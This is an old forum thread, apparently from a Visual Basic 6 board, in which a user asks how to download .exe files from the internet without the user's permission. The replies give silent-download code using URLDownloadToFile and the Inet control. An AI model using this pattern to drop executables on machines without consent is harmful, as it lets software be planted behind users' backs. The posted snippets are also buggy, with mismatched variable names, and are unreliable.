[es] - Problem sa Downlodom (silent download)

VRKY

Član broj: 21087
Poruke: 4690
*.net.htnet.hr

+8 Profil

Problem sa Downlodom (silent download)

^{05.10.2004. u 21:36 - pre 238 meseci}

Pozdrav:
Odmah ću doć na pitanje. Kako automatski skinuti neki fajl sa neta npr. zip ili .exe . To znači da se korisnika prije downloda ne pita hoće li to dopuštiti ili ne. Kod za downlaod:

Code:

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
  Dim lngRetVal As Long
  lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
  If lngRetVal = 0 Then DownloadFile = True
End Function
Private Sub Form_Load()
    DownloadFile "http://vrky.atw.hu/Bravo.exe", "C:\Bravo.exe"
DoEvents
End Sub

Taj .exe koji se downloduje je samo msgbox poruka....
Znači želim da se automatski skine taj .exe bez dozvole korisnika...

Odgovor na temu

fLuXx
Luka Borkovic
Student
Pančevo

Član broj: 21183
Poruke: 363
*.teleportgroup.net.

Jabber: fluxx@elitesecurity.org

+2 Profil

Re: Problem sa Downlodom (silent download)

^{20.11.2004. u 22:13 - pre 236 meseci}

Probaj da downloadujes koristeci Microsoft Internet Transfer Control (inet). Nece ti trebati nikakva dozvola od korisnika

Code:

Command1_click()
Inet1.Execute URL_Adresa.Text, "GET"
end sub

Private Sub Inet1_StateChanged( ByVal State As Integer)
select case state

case icResponseCompleted
  Dim data() as byte
      Open MyFile$ For Binary Access Write As #3
      Data() = Inet1.GetChunk(1024, icByteArray)
      Do While UBound(vtData) <> -1
         Put #3, , Data
         Data() = Inet1.GetChunk(1024, icByteArray)
         DoEvents
      Loop
retval = MsgBox("Skidanje fajla zavrseno!", vbInformation, "Download zavrsen!")
      Close #3
end select
end sub

Mozda kod treba malo korigovati da bi proradilo, ali sustina je tu!

Odgovor na temu

VRKY

Član broj: 21087
Poruke: 4690
*.net.htnet.hr.

+8 Profil

Re: Problem sa Downlodom (silent download)

^{20.11.2004. u 22:31 - pre 236 meseci}

Hvala. kasnije ću ga pogledati (koregirati po potrebama)

Odgovor na temu

fLuXx
Luka Borkovic
Student
Pančevo

Član broj: 21183
Poruke: 363
*.teleportgroup.net.

Jabber: fluxx@elitesecurity.org

+2 Profil

Re: Problem sa Downlodom (silent download)

^{21.11.2004. u 12:19 - pre 236 meseci}

Ako su ti fajlo vi mali, mozes to da obavis i na laksi nacin.

Code:

Dim b() As Byte
Dim sURL As String
URL = "http://www.nekisajt.com/blabla.exe"
b() = Inet1.OpenURL(strURL, icByteArray)

Open "C:\blabla.exe" For Binary Access Write As #1
Put #1, , b()
Close #1

Medjutim, ovim kodom skidas sve odjednom, pa ako je fajl veci, dosta rizikujes.

Odgovor na temu

VRKY

Član broj: 21087
Poruke: 4690
*.net.htnet.hr.

+8 Profil

Re: Problem sa Downlodom (silent download)

^{21.11.2004. u 15:37 - pre 236 meseci}

Kad nariktam postavke izbaci se ovaj error:

Run-time error '35752'
URL is malformed

Odgovor na temu

fLuXx
Luka Borkovic
Student
Pančevo

Član broj: 21183
Poruke: 363
212.200.124.*

Jabber: fluxx@elitesecurity.org

+2 Profil